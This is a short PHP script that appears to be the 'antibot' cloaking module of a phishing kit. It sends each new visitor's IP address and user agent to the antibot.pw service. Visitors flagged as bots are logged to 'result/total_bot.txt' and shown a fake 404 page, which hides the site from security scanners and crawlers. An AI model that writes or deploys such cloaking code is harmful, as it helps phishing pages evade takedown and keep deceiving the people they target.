<?php
$config_antibot = trim(file_get_contents("antibot.ini"));
if(isset($config_antibot)) {
    function getUserIPszz()
    {
        $client  = @$_SERVER['HTTP_CLIENT_IP'];
        $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
        $remote  = $_SERVER['REMOTE_ADDR'];
        if(filter_var($client, FILTER_VALIDATE_IP))
        {
            $ip = $client;
        }
        elseif(filter_var($forward, FILTER_VALIDATE_IP))
        {
            $ip = $forward;
        }else{
            $ip = $remote;
        }

        return $ip;
    }
    $ip = getUserIPszz();
    if($_SESSION['antibot_wasChecked'] == false || !isset($_SESSION['antibot_wasChecked'])){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_USERAGENT, "Antibot Blocker");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, "https://www.antibot.pw/api/v2-blockers?ip=".$ip."&apikey=".$config_antibot."&ua=".urlencode($_SERVER['HTTP_USER_AGENT']));
        $data = curl_exec($ch);
        curl_close($ch);
        $_SESSION['antibot_wasChecked'] = true;
        $x = json_decode($data,true);
        if($x['is_bot']){
            $_SESSION['is_bot']  = true;
            $file = fopen("antibot-block.txt","a");
            $message = $ip."\n";
            fwrite($file, $message);
            fclose($file);
            $click = fopen("result/total_bot.txt","a");
            fwrite($click,"$ip|Antibot Blocker"."\n");
            fclose($click);
            header('HTTP/1.0 403 Forbidden');
            die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>');
          
        }else{
          $_SESSION['is_bot']  = false;
        }

    }
}
